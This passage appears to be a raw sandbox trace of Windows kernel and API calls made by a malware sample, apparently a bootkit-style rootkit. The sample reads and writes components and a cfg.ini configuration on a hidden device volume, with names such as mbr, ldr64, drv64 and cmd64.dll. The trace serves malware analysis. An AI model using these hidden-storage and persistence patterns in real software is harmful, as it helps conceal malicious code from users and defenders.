(in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.387] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.387] KeLeaveCriticalRegion () [0121.387] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.387] KeEnterCriticalRegion () [0121.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.387] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.387] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.387] KeLeaveCriticalRegion () [0121.387] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.387] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.387] KeEnterCriticalRegion () [0121.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.387] ExFreePoolWithTag (P=0xfffffa8003bbe140, Tag=0x0) [0121.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.387] KeLeaveCriticalRegion () [0121.387] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.387] ReleaseMutex (hMutex=0xf0) returned 1 [0121.387] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.387] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.387] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.387] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.388] KeEnterCriticalRegion () [0121.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.388] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.388] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.388] IdePortDispatch () returned 0x103 [0121.388] KeWaitForMutexObject () returned 0x0 [0121.388] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.388] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.388] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.388] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.388] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.388] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.388] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.388] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.388] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.388] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.388] KeLeaveCriticalRegion () [0121.388] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.388] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.388] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.388] KeEnterCriticalRegion () [0121.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.388] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.388] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.388] IdePortDispatch () returned 0x103 [0121.388] KeWaitForMutexObject () returned 0x0 [0121.389] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.389] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.389] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.389] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.389] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.389] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.389] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.389] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.389] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.389] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.389] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.389] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.389] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.389] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.389] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.389] KeLeaveCriticalRegion () [0121.389] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.389] ReleaseMutex (hMutex=0x100) returned 1 [0121.389] Sleep (dwMilliseconds=0x2bf20) [0121.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b8e2410, dwHighDateTime=0x1d24fa4)) [0121.395] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.395] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.395] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.395] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.395] KeEnterCriticalRegion () [0121.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.395] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.395] IdePortDispatch () returned 0x103 [0121.395] KeWaitForMutexObject () returned 0x0 [0121.395] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.396] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.396] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.396] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.396] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.396] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba4b0 [0121.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.396] KeLeaveCriticalRegion () [0121.396] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.396] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.396] KeEnterCriticalRegion () [0121.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.396] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.396] KeLeaveCriticalRegion () [0121.396] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.396] KeEnterCriticalRegion () [0121.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.396] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.396] IdePortDispatch () returned 0x103 [0121.396] KeWaitForMutexObject () returned 0x0 [0121.396] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.396] KeLeaveCriticalRegion () [0121.396] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.396] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.396] KeEnterCriticalRegion () [0121.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.396] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1e000 [0121.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.396] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.396] IdePortDispatch () returned 0x103 [0121.397] KeWaitForMutexObject () returned 0x0 [0121.397] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.397] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.397] IdePortDispatch () returned 0x103 [0121.397] KeWaitForMutexObject () returned 0x0 [0121.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.397] KeLeaveCriticalRegion () [0121.397] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.397] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.397] KeEnterCriticalRegion () [0121.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.397] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.397] KeLeaveCriticalRegion () [0121.398] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.398] KeEnterCriticalRegion () [0121.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.398] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.398] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.398] KeLeaveCriticalRegion () [0121.398] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.398] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.398] KeEnterCriticalRegion () [0121.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.398] ExFreePoolWithTag (P=0xfffffa8003bba4b0, Tag=0x0) [0121.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.398] KeLeaveCriticalRegion () [0121.398] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.398] ReleaseMutex (hMutex=0xf0) returned 1 [0121.398] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.398] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.398] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.398] KeEnterCriticalRegion () [0121.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.398] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.398] IdePortDispatch () returned 0x103 [0121.398] KeWaitForMutexObject () returned 0x0 [0121.398] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.398] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.398] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.398] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.398] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.398] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc42d0 [0121.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.398] KeLeaveCriticalRegion () [0121.398] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.398] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.399] KeEnterCriticalRegion () [0121.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.399] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.399] KeLeaveCriticalRegion () [0121.399] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.399] KeEnterCriticalRegion () [0121.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.399] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.399] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.399] IdePortDispatch () returned 0x103 [0121.399] KeWaitForMutexObject () returned 0x0 [0121.399] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.399] KeLeaveCriticalRegion () [0121.399] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.399] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.399] KeEnterCriticalRegion () [0121.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.399] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1f000 [0121.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.399] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.399] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.399] IdePortDispatch () returned 0x103 [0121.399] KeWaitForMutexObject () returned 0x0 [0121.399] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.400] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.400] IdePortDispatch () returned 0x103 [0121.400] KeWaitForMutexObject () returned 0x0 [0121.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.400] KeLeaveCriticalRegion () [0121.400] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.400] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.400] KeEnterCriticalRegion () [0121.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.400] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.400] KeLeaveCriticalRegion () [0121.400] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.400] KeEnterCriticalRegion () [0121.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.400] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.400] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.400] KeLeaveCriticalRegion () [0121.400] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.400] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.401] KeEnterCriticalRegion () [0121.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.401] ExFreePoolWithTag (P=0xfffffa8003bc42d0, Tag=0x0) [0121.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.401] KeLeaveCriticalRegion () [0121.401] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.401] ReleaseMutex (hMutex=0xf0) returned 1 [0121.401] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.401] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.401] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.401] KeEnterCriticalRegion () [0121.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.401] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.401] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.401] IdePortDispatch () returned 0x103 [0121.401] KeWaitForMutexObject () returned 0x0 [0121.401] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.401] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.401] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.401] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.401] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.401] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc41c0 [0121.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.401] KeLeaveCriticalRegion () [0121.401] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.401] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.401] KeEnterCriticalRegion () [0121.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.401] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.401] KeLeaveCriticalRegion () [0121.401] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.401] KeEnterCriticalRegion () [0121.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 